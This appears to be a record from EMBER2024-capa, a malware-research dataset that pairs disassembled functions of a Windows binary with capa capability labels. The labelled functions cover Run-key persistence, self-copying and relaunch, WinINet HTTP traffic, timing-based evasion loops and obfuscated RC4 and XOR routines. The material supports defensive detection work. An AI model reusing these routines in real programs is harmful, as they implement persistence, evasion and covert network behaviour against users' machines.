joyce8/EMBER2024-capa huggingface dataset:
Function at 0x409ad8
Capabilities:
Query environment variable

Disassembly:
mov eax, 0x1000
call fcn.0040e880
push ebx
push ebp
push esi
push edi
mov ebx, 0x400
push ebx
lea eax, [esp + 0x814]
xor edi, edi
push eax
push edi
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov ebp, dword [sym.imp.KERNEL32.dll_GetLastError]
push ebx
lea eax, [esp + 0x14]
push eax
push dword [esi*4 + 0x410040]
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x814]
push eax
call fcn.00409985
test eax, eax
pop ecx
pop ecx
je 0x409b79
cmp eax, 1
jne 0x409b45
push 4
call ebp
lea eax, [eax + edi + 0xf4240]
push eax
push 4
jmp 0x409b58
cmp eax, 2
jne 0x409b60
push 4
call ebp
lea eax, [eax + edi + 0xf4240]
push eax
push 5
call fcn.0040c35f
add esp, 0xc
inc esi
add edi, 0xf4240
cmp esi, 2
jl 0x409b05
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1000
ret
lea eax, [esi + 1]
jmp 0x409b6e

Function at 0x409b7e
Capabilities:
Create process on windows
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push esi
push 0x44
xor esi, esi
lea eax, [ebp - 0x54]
push esi
push eax
call fcn.0040e800
add esp, 0xc
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x54]
push eax
push esi
push esi
push 0x24
push esi
push esi
push esi
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
pop esi
jne 0x409bb6
leave
ret
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
xor eax, eax
inc eax
leave
ret

Function at 0x409e95
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2000
call fcn.0040e880
push esi
push edi
mov esi, 0x1000
push esi
lea eax, [ebp - 0x2000]
push eax
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x409ecb
lea edx, [ebp - 0x2000]
call fcn.00409178
jmp 0x409ed9
lea eax, [ebp - 0x2000]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov ecx, 0x402658
lea eax, [ebp - 0x2000]
call fcn.0040777b
cmp dword [ebp + 8], edi
push 4
pop eax
je 0x409ef4
push 3
pop eax
push edi
push 2
push eax
push edi
push edi
push 0xc0000000
lea eax, [ebp - 0x2000]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
pop edi
mov dword [0x4100ac], eax
pop esi
mov eax, ecx
leave
ret
Function at 0x40a589
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push edi
xor edi, edi
push edi
push edi
push 3
push edi
push 7
push 0x80000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
mov dword [esi + 8], eax
je 0x40a61d
lea ecx, [ebp - 0xc]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x40a614
cmp dword [ebp - 8], edi
jne 0x40a614
mov eax, dword [ebp - 0xc]
cmp eax, edi
mov dword [esi + 4], eax
jne 0x40a5d3
mov dword [esi], edi
mov al, 1
jmp 0x40a61f
push 4
push 0x3000
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
cmp eax, edi
mov dword [esi], eax
je 0x40a614
push edi
lea ecx, [ebp - 4]
push ecx
push dword [esi + 4]
push eax
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x40a606
mov eax, dword [ebp - 4]
cmp eax, dword [esi + 4]
je 0x40a5cf
push 0x8000
push edi
push dword [esi]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
pop edi
leave
ret

Function at 0x40a654
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
lea ecx, [ebp - 8]
push ecx
push 1
push 0
push dword [ebp + 8]
mov dword [ebp - 8], eax
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40a691
mov eax, dword [ebp + 0x10]
add eax, eax
push eax
push edi
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
lea esi, [ebp - 8]
call fcn.0040a622
add esp, 0x10
mov ebx, eax
jmp 0x40a694
or ebx, 0xffffffff
cmp ebx, 0xffffffff
je 0x40a70a
test bl, 1
jne 0x40a70a
cmp dword [ebp - 4], 1
je 0x40a6aa
cmp dword [ebp - 4], 2
jne 0x40a70a
xor ecx, ecx
cmp ebx, ecx
jne 0x40a6b5
mov word [edi], cx
jmp 0x40a706
shr ebx, 1
dec ebx
mov eax, ebx
cmp word [edi + eax*2], cx
je 0x40a6cc
inc eax
cmp dword [ebp + 0x10], eax
jbe 0x40a70a
mov word [edi + eax*2], cx
mov ebx, eax
cmp eax, 2
jbe 0x40a706
cmp dword [ebp - 4], 2
jne 0x40a706
push edi
call fcn.0040d23f
mov esi, eax
test esi, esi
pop ecx
je 0x40a6f3
push dword [ebp + 0x10]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
test eax, eax
jne 0x40a6f6
or ebx, 0xffffffff
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, ebx
jmp 0x40a70d
or eax, 0xffffffff
pop esi
pop ebx
leave
ret
Function at 0x40b86f
Capabilities:
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1010
call fcn.0040e880
push edi
xor edi, edi
cmp dword [ebp + 0xc], edi
je 0x40b88f
push dword [ebp + 0xc]
call fcn.004076eb
pop ecx
jmp 0x40b891
xor eax, eax
push edi
push 0x4400000
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp + 0x10]
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
cmp eax, edi
mov dword [ebp - 4], eax
jne 0x40b8b5
xor eax, eax
jmp 0x40b9c7
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov eax, 0x2001
push esi
push eax
push edi
mov dword [ebp - 0xc], eax
mov dword [ebp + 0xc], eax
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
cmp byte [esi], 0
jne 0x40b931
xor eax, eax
jmp 0x40b9c5
mov eax, dword [ebp - 8]
test eax, eax
je 0x40b94f
cmp dword [ebp + 0xc], eax
mov byte [ebp + eax - 0x1010], 0
ja 0x40b913
mov eax, dword [ebp - 0xc]
add dword [ebp + 0xc], eax
add eax, eax
push eax
push esi
push 0
mov dword [ebp - 0xc], eax
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov esi, eax
test esi, esi
je 0x40b8da
push dword [ebp - 8]
lea eax, [ebp - 0x1010]
push eax
lea eax, [esi + edi]
push eax
call fcn.0040d840
mov eax, dword [ebp - 8]
sub dword [ebp + 0xc], eax
add esp, 0xc
add edi, eax
lea eax, [ebp - 8]
push eax
push 0x1000
lea eax, [ebp - 0x1010]
push eax
push dword [ebp - 4]
call dword [sym.imp.WININET.dll_InternetReadFile]
cmp eax, 1
je 0x40b8e1
lea eax, [edi + edi + 2]
push eax
push 0
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
mov ecx, dword [ebp + 0x14]
mov dword [ecx], eax
jne 0x40b96d
and dword [ebp - 4], eax
jmp 0x40b9b6
and dword [ebp + 0xc], 0
test esi, esi
mov dword [ebp - 4], 1
mov byte [esi + edi], 0
mov ecx, eax
je 0x40b9ac
test edi, edi
jbe 0x40b9ac
and word [ecx], 0
test edi, edi
jbe 0x40b9ac
mov edx, dword [ebp + 0xc]
movzx dx, byte [edx + esi]
mov word [ecx], dx
mov edx, dword [ebp + 0xc]
cmp byte [edx + esi], 0
je 0x40b9ac
inc dword [ebp + 0xc]
inc ecx
inc ecx
cmp dword [ebp + 0xc], edi
jb 0x40b98e
and word [eax + edi*2], 0
mov eax, dword [ebp + 0x18]
mov dword [eax], edi
push esi
push 0
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [ebp - 4]
pop esi
pop ebx
pop edi
leave
ret
Function at 0x40b9ca
Capabilities:
Connect to http server
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1210
call fcn.0040e880
push ebx
push esi
lea eax, [ebp - 0x210]
push edi
add edx, 0xe
push eax
call fcn.0040779f
lea eax, [ebp - 0x210]
push eax
call fcn.004076eb
xor ebx, ebx
push 0x423560
mov word [ebp + eax*2 - 0x212], bx
call fcn.004076eb
add esp, 0xc
mov dword [ebp - 8], eax
call fcn.0040d159
cmp dword [ebp - 8], ebx
mov esi, eax
mov dword [ebp - 0xc], esi
mov dword [ebp - 4], ebx
jbe 0x40ba64
movsx ax, byte [esi]
sub ax, 2
movzx ecx, ax
mov eax, dword [ebp - 4]
push 3
xor edx, edx
pop edi
div edi
sub edx, ebx
je 0x40ba50
dec edx
je 0x40ba48
dec edx
jne 0x40ba56
add ecx, 0xfffe
jmp 0x40ba56
add ecx, 0xfffb
jmp 0x40ba56
add ecx, 0xffff
mov byte [esi], cl
inc esi
inc dword [ebp - 4]
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 8]
jb 0x40ba21
push ebx
push ebx
push 3
push ebx
push ebx
push 0x50
lea eax, [ebp - 0x210]
push eax
push dword [0x4104d4]
call dword [sym.imp.WININET.dll_InternetConnectW]
cmp eax, ebx
jne 0x40ba87
xor eax, eax
jmp 0x40bafc
push ebx
push 0x4400100
push ebx
push ebx
push ebx
push 0x402410
push 0x402a18
push eax
call dword [sym.imp.WININET.dll_HttpOpenRequestW]
mov esi, eax
cmp esi, ebx
je 0x40ba83
push dword [ebp - 8]
push dword [ebp - 0xc]
push ebx
push ebx
push esi
call dword [sym.imp.WININET.dll_HttpSendRequestW]
push dword [ebp - 0xc]
mov edi, eax
call fcn.0040d0a9
cmp edi, ebx
pop ecx
je 0x40ba83
lea eax, [ebp - 0x10]
push eax
push 0x1000
lea eax, [ebp - 0x1210]
push eax
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
mov esi, eax
cmp esi, ebx
je 0x40bafa
mov eax, dword [ebp - 0x10]
mov byte [ebp + eax - 0x1210], bl
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x1210]
call fcn.0040d1a4
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40bb01
Capabilities:
Check for time delay via gettickcount

Disassembly:
push 0x24
push 0x40ef38
call fcn.0040e528
and dword [ebp - 4], 0
call fcn.00407a90
movzx ecx, cl
inc ecx
cdq
idiv ecx
mov esi, edx
movzx eax, byte [ebp + 8]
add esi, eax
imul esi, esi, 0x3e8
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call edi
mov ebx, eax
call edi
sub eax, ebx
cmp eax, esi
jae 0x40bb7d
push 1
xor eax, eax
push eax
push eax
push eax
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
je 0x40bb5e
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageW]
jmp 0x40bb3d
push 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x40bb35
or dword [ebp - 4], 0xffffffff
call fcn.0040e563
ret
Function at 0x40bb87
Capabilities:
Check for time delay via gettickcount

Disassembly:
push 0x2c
push 0x40ef28
call fcn.0040e528
xor ebx, ebx
mov dword [ebp - 4], ebx
or dword [ebp - 0x1c], 0xffffffff
xor edi, edi
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
mov dword [ebp - 0x20], eax
cmp edi, ebx
jl 0x40bc06
cmp word [ebp - 0x1c], 0xffff
jne 0x40bc06
call esi
sub eax, dword [ebp - 0x20]
cmp eax, 0x15f90
ja 0x40bc21
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
push ebx
push ebx
push ebx
lea eax, [ebp - 0x3c]
push eax
call dword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
je 0x40bbe7
lea eax, [ebp - 0x3c]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageW]
jmp 0x40bbc8
movzx eax, byte [ebp + 8]
imul eax, eax, 0x14
mov eax, dword [eax + 0x427568]
mov ecx, dword [eax]
lea edx, [ebp - 0x1c]
push edx
push eax
call dword [ecx + 0x7c]
mov edi, eax
cmp edi, ebx
jl 0x40bc21
jmp 0x40bba9
or dword [ebp - 4], 0xffffffff
xor eax, eax
inc eax
jmp 0x40bc27
or dword [ebp - 4], 0xffffffff
xor eax, eax
call fcn.0040e563
ret

Function at 0x40bd2c
Capabilities:
Find taskbar

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
cmp dword [0x41005c], 0
push ebx
push esi
push edi
mov ebx, eax
jne 0x40bd4c
call fcn.0040bc8b
test eax, eax
mov dword [ebp - 8], eax
jne 0x40bd5e
mov esi, ebx
call fcn.0040bc2d
test eax, eax
mov dword [ebp - 8], eax
je 0x40be13
push 0x402a58
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov ecx, dword [ebx]
mov edx, dword [ecx]
sub esp, 0x10
mov edi, esp
mov word [ebp - 0x18], 3
mov dword [ebp - 0x10], 1
lea esi, [ebp - 0x18]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
push eax
push ecx
movsd dword es:[edi], dword [esi]
call dword [edx + 0x88]
mov eax, dword [ebx]
mov ecx, dword [eax]
lea edx, [ebp - 4]
push edx
push eax
call dword [ecx + 0x94]
xor esi, esi
cmp dword [ebp - 4], esi
je 0x40bdfa
push esi
push 0x402a6c
call dword [sym.imp.USER32.dll_FindWindowW]
cmp eax, esi
je 0x40bdbe
push eax
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_SetParent]
push 0xffffffffffffffec
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_GetWindowLongW]
or eax, 0x80
push eax
push 0xffffffffffffffec
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_SetWindowLongW]
push 0x10
push dword [0x4138ac]
mov eax, 0x1388
push dword [0x41edb8]
push eax
push eax
push 1
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_SetWindowPos]
mov eax, dword [ebx]
mov ecx, dword [eax]
push 0xffffffffffffffff
push eax
call dword [ecx + 0xa4]
mov ebx, dword [ebx]
mov eax, dword [ebx]
push esi
push ebx
call dword [eax + 0xf0]
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40c03f
Capabilities:
Create http request

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
and dword [ebp - 8], 0
test eax, eax
push ebx
push esi
push edi
jne 0x40c061
movzx eax, byte [ebp + 8]
imul eax, eax, 0x14
mov edi, dword [eax + 0x427570]
mov dword [ebp - 4], edi
jmp 0x40c066
mov dword [ebp - 4], eax
mov edi, eax
movzx esi, byte [ebp + 8]
imul esi, esi, 0x14
xor ebx, ebx
inc ebx
test dword [esi + 0x427574], edi
je 0x40c0c8
cmp edi, ebx
jne 0x40c0ad
cmp dword [0x427564], ebx
jne 0x40c0cc
mov eax, dword [esi + 0x427568]
test eax, eax
je 0x40c0cc
mov ecx, dword [eax]
lea edx, [ebp + 8]
push edx
push eax
call dword [ecx + 0xa0]
test eax, eax
jge 0x40c0c4
and dword [esi + 0x427568], 0
and dword [esi + 0x427574], 0xfffffffe
cmp edi, 2
jne 0x40c0c8
cmp dword [esi + 0x42756c], 0
jne 0x40c0c4
and dword [esi + 0x427574], 0xfffffffd
jmp 0x40c103
mov eax, ebx
jmp 0x40c13d
cmp edi, ebx
jne 0x40c0fe
lea edi, [esi + 0x427568]
mov eax, edi
call fcn.0040bd2c
cmp dword [0x427564], ebx
mov dword [ebp - 8], eax
jne 0x40c0f8
test eax, eax
je 0x40c0f8
mov edi, dword [edi]
mov eax, dword [edi]
push edi
call dword [eax + 4]
or dword [esi + 0x427574], ebx
jmp 0x40c13a
and dword [edi], 0
mov edi, dword [ebp - 4]
cmp edi, 2
jne 0x40c13a
xor eax, eax
push eax
push eax
push eax
push ebx
push 0x4025fc
call dword [sym.imp.WININET.dll_InternetOpenW]
test eax, eax
mov dword [esi + 0x42756c], eax
je 0x40c13a
push 4
lea ecx, [ebp + 8]
push ecx
push 0x41
push eax
mov dword [ebp + 8], ebx
call dword [sym.imp.WININET.dll_InternetSetOptionW]
or dword [esi + 0x427574], 2
mov dword [ebp - 8], ebx
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40c75f
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x800
push 0x400
lea eax, [ebp - 0x800]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 0x800]
push eax
call dword [sym.imp.USER32.dll_CharLowerW]
cmp word [0x402c6a], 0
je 0x40c7a8
push 0x402c6a
lea ecx, [ebp - 0x800]
call fcn.0040772d
test eax, eax
pop ecx
je 0x40c7ad
xor eax, eax
inc eax
leave
ret
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
cmp word [0x402c4c], 0
je 0x40c7ca
push 0x402c4c
mov ecx, eax
call fcn.0040772d
pop ecx
xor ecx, ecx
test eax, eax
setne cl
mov eax, ecx
leave
ret

Function at 0x40c81c
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
push ebx
push esi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
lea eax, [ebp - 4]
push eax
push 1
push 0
mov ebx, 0x402b58
push ebx
push 0x80000001
call edi
test eax, eax
jne 0x40c861
push dword [ebp + 8]
lea esi, [ebp - 4]
push 0x402dac
mov eax, 0x400
call fcn.00408cb0
test eax, eax
pop ecx
pop ecx
jne 0x40c894
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push 1
push 0
push ebx
push 0x80000002
call edi
test eax, eax
je 0x40c87d
xor eax, eax
jmp 0x40c894
push dword [ebp + 8]
lea esi, [ebp - 4]
push 0x402dac
mov eax, 0x400
call fcn.00408cb0
pop ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40cee5
Capabilities:
Copy file
Persist via run registry key
Query environment variable
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1800
call fcn.0040e880
call fcn.0040c6d4
test eax, eax
je 0x40cf00
call fcn.0040ce97
push ebx
push esi
push edi
call fcn.0040c75f
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor ebx, ebx
test eax, eax
mov esi, 0x400
je 0x40cf7a
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
push 4
push ebx
push 9
call fcn.0040c35f
add esp, 0xc
push esi
lea eax, [ebp - 0x1800]
push eax
push ebx
call edi
lea eax, [ebp - 0x1000]
push eax
call fcn.0040c81c
test eax, eax
pop ecx
je 0x40cf7a
push ebx
lea eax, [ebp - 0x1000]
push eax
lea eax, [ebp - 0x1800]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x40cf7a
lea eax, [ebp - 0x1000]
push eax
call fcn.00409b7e
pop ecx
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.0040c7d5
test eax, eax
je 0x40cfa0
push 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 1
call fcn.0040c35f
add esp, 0xc
pop edi
xor eax, eax
pop esi
inc eax
pop ebx
leave
ret 0x10
call fcn.00409ad8
cmp eax, ebx
push esi
je 0x40cfc0
lea ecx, [ebp - 0x800]
push ecx
push dword [eax*4 + 0x41003c]
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
jmp 0x40cfda
lea eax, [ebp - 0x800]
push eax
push ebx
call edi
mov ecx, 0x402c38
lea eax, [ebp - 0x800]
call fcn.0040777b
push 1
lea eax, [ebp - 0x800]
push eax
push 0x402dac
push 0x402b58
push 0x80000001
call fcn.00408d8c
add esp, 0x14
test eax, eax
je 0x40d032
lea eax, [ebp - 0x800]
push eax
call fcn.00409b7e
test eax, eax
pop ecx
push 4
je 0x40d027
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 3
call fcn.0040c35f
add esp, 0xc
jmp 0x40cf73
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0xb
jmp 0x40d03d
push 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 6
call fcn.0040c35f
add esp, 0xc
mov dword [0x410054], ebx
jmp 0x40cefb

Function at 0x40e036
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x40e040
repz ret
jmp fcn.0040e2db
Function at 0x41ad00
Capabilities:
Hash data with md5

Disassembly:
inc dword [0x4341ac]
mov edx, ecx
mov eax, dword [0x4341ac]
sub dword [0x435790], eax
and dword [edx], 0
mov eax, dword [0x4371b0]
xor eax, 0x6810ba73
sub dword [0x433cf0], eax
and dword [edx + 4], 0
mov eax, dword [0x43611c]
not eax
imul ecx, eax, 0xc376e3b3
movsx eax, word [0x43a392]
cmp eax, ecx
jl 0x41ad4e
add dword [0x4343a8], 0xdf6cdfbc
jmp 0x41ad60
movzx eax, word [0x43911c]
or eax, 0xcb35df9f
mov word [0x43911c], ax
mov dword [edx + 8], 0x67452301
or dword [0x434974], 0xf77bfffe
mov dword [edx + 0xc], 0xefcdab89
mov eax, dword [0x4372d0]
sub eax, 0x170cf6dd
xor eax, 0x6ebbae32
or dword [0x4386ec], eax
mov dword [edx + 0x10], 0x98badcfe
mov ax, word [0x438a76]
mov ecx, dword [0x4356a4]
cwde
xor ecx, eax
xor ecx, 0x7ef5afe1
inc dword [0x4356a4]
cmp ecx, 0xfa3b22a7
jl 0x41add6
mov ax, word [0x439100]
movzx ecx, word [0x439c6c]
cwde
imul ecx, eax
mov word [0x439100], cx
dec word [0x439c6c]
mov dword [edx + 0x14], 0x10325476
mov ecx, 0x3504eca6
imul eax, dword [0x4373e0], 0x425a7b54
sub ecx, eax
add dword [0x436ac8], ecx
inc dword [0x4373e0]
ret

Function at 0x423ca3
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
or dword [0x4340bc], 0x6be65de5
movsx eax, word [0x4397d8]
add eax, 0xedebd3af
add dword [0x4377f8], eax
dec word [0x4397d8]
push esi
xor esi, esi
push edi
mov edi, dword [ebp + 8]
cmp dword [ebp + 0xc], esi
je 0x423dcd
push ebx
push 0xa
pop ebx
imul eax, dword [0x4360d0], 0x6747c689
mov dword [0x4360d0], eax
test esi, esi
je 0x423d90
call fcn.0041ae3b
movzx eax, al
cdq
idiv ebx
test edx, edx
jne 0x423d90
inc word [0x43a372]
mov ax, word [0x43a372]
mov ecx, dword [0x4373b0]
not ecx
cwde
imul ecx, eax
sub ecx, 0x24d01c06
cmp ecx, 0xcabdfbf3
je 0x423d69
mov ecx, dword [0x436780]
mov eax, dword [0x43734c]
sub ecx, eax
mov eax, dword [0x4364d0]
or eax, 0xd30a162e
dec dword [0x4364d0]
cmp ecx, eax
jge 0x423d73
mov ecx, dword [0x437664]
movzx eax, word [0x4394b2]
not ecx
imul eax, ecx
mov word [0x4394b2], ax
jmp 0x423d73
mov dword [0x434748], 0xf6ff8fbe
call fcn.0041ae3b
movzx eax, al
cdq
idiv ebx
add dl, 0x30
mov byte [esi + edi], dl
or dword [0x4369e4], 0x6bbc9a4a
jmp 0x423db8
add dword [0x437474], 0x91008
call fcn.0041ae3b
movzx eax, al
push 0x1a
cdq
pop ecx
idiv ecx
add dl, 0x61
mov byte [esi + edi], dl
or dword [0x436d70], 0xf27ebb74
inc esi
mov dword [0x437a98], 0x907f4033
cmp esi, dword [ebp + 0xc]
jne 0x423cdd
pop ebx
movzx eax, word [0x438f9a]
xor eax, 0x7fdffbff
mov word [0x438f9a], ax
mov byte [esi + edi], 0
inc dword [0x4367a8]
mov eax, dword [0x4367a8]
and eax, 0x141bcadb
pop edi
pop esi
cmp eax, 0x3307f2be
jle 0x423e06
add dword [0x435834], 0x64df9b71
pop ebp
ret
Function at 0x423e09
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
inc dword [0x435860]
mov ecx, 0xaad3d6ca
mov eax, dword [0x435860]
sub ecx, eax
add ecx, dword [0x436ff8]
push esi
mov esi, dword [ebp + 8]
mov dword [0x436ff8], ecx
add dword [0x437884], 0xed25c6a6
and dword [0x435dd4], 0x3e5a78f7
push esi
call fcn.004242b6
add dword [0x435c78], 0xbaa99813
add dword [0x4346e4], 0xd18ccee
pop ecx
lea edx, [eax - 1]
cmp byte [edx + esi], 0x22
jne 0x423f49
mov ecx, dword [0x436044]
mov eax, dword [0x438648]
add ecx, 0xc4bea594
not eax
and eax, ecx
xor dword [0x4368f8], eax
dec dword [0x436044]
mov byte [esi], 0x22
and dword [0x434ff8], 0x7b4c97e4
mov byte [edx + esi], 0
add dword [0x4370f4], 0xd5db484e
xor dword [0x437bcc], 0x84eb3e5e
mov ecx, 0x78402c06
mov eax, dword [0x4349ec]
dec edx
sub ecx, eax
add dword [0x436eb8], ecx
dec dword [0x4349ec]
cmp byte [edx + esi], 0x22
jne 0x423ea6
mov eax, dword [0x435a0c]
inc esi
shl eax, 7
add esi, edx
and dword [0x435ff0], eax
inc dword [0x4342c0]
mov ecx, dword [0x4342c0]
movsx eax, word [0x43a0ae]
sub ecx, eax
dec word [0x43a0ae]
cmp ecx, 0x9fea963
je 0x42403f
movsx ecx, word [0x43a4ee]
movsx eax, word [0x43a66e]
not ecx
imul eax, ecx
sub eax, 0xd10b2a1
cmp eax, 0x3f1fbbfb
jl 0x423f3e
movzx eax, word [0x43903a]
xor eax, 0x4dc70d4f
mov word [0x43903a], ax
jmp 0x42403f
inc dword [0x436c0c]
jmp 0x42403f
and dword [0x437290], 0x206c0308
mov byte [esi], 0x20
inc dword [0x433dc4]
mov eax, dword [0x433dc4]
add eax, 0x813bc9cb
and eax, 0xe33a6505
or eax, dword [0x4360f8]
mov dword [0x4360f8], eax
inc word [0x438c2a]
movzx eax, word [0x438c2a]
movzx ecx, word [0x43a624]
xor ecx, eax
xor ecx, 0x6cbfd7c4
dec edx
mov word [0x43a624], cx
mov ecx, 0xa34a25d
mov eax, dword [0x4384b0]
sub ecx, eax
mov eax, dword [0x4355bc]
or eax, ecx
or eax, 0x90f3f43
mov dword [0x4355bc], eax
inc dword [0x4384b0]
cmp byte [edx + esi], 0x20
jne 0x423f76
dec dword [0x436710]
mov eax, dword [0x436710]
mov ecx, dword [0x436c14]
xor ecx, 0x4b0d78a5
or ecx, eax
cmp ecx, 0x16a5e85d
jle 0x424015
mov eax, dword [0x433f74]
shl eax, 9
add eax, 0x6633ec10
cmp eax, 0x96d66a42
jl 0x424015
mov eax, dword [0x4370dc]
mov ecx, dword [0x438818]
sar eax, 3
add eax, 0xd51f58da
imul ecx, eax
mov dword [0x438818], ecx
mov eax, dword [0x436f00]
inc esi
movsx ecx, word [0x439e94]
add esi, edx
sar eax, 4
or ecx, eax
movzx eax, word [0x43a91e]
sub eax, ecx
mov word [0x43a91e], ax
dec word [0x439e94]
mov eax, dword [0x435cf0]
sar eax, 2
cmp eax, 0xae329503
jge 0x42407b
mov ax, word [0x43aedc]
mov ecx, dword [0x435fc4]
inc dword [0x435fc4]
movsx edx, ax
cmp edx, ecx
jge 0x42407b
movzx ecx, word [0x439ba0]
imul ecx, ecx, 0x602a033a
mov word [0x439ba0], cx
mov eax, esi
pop esi
pop ebp
ret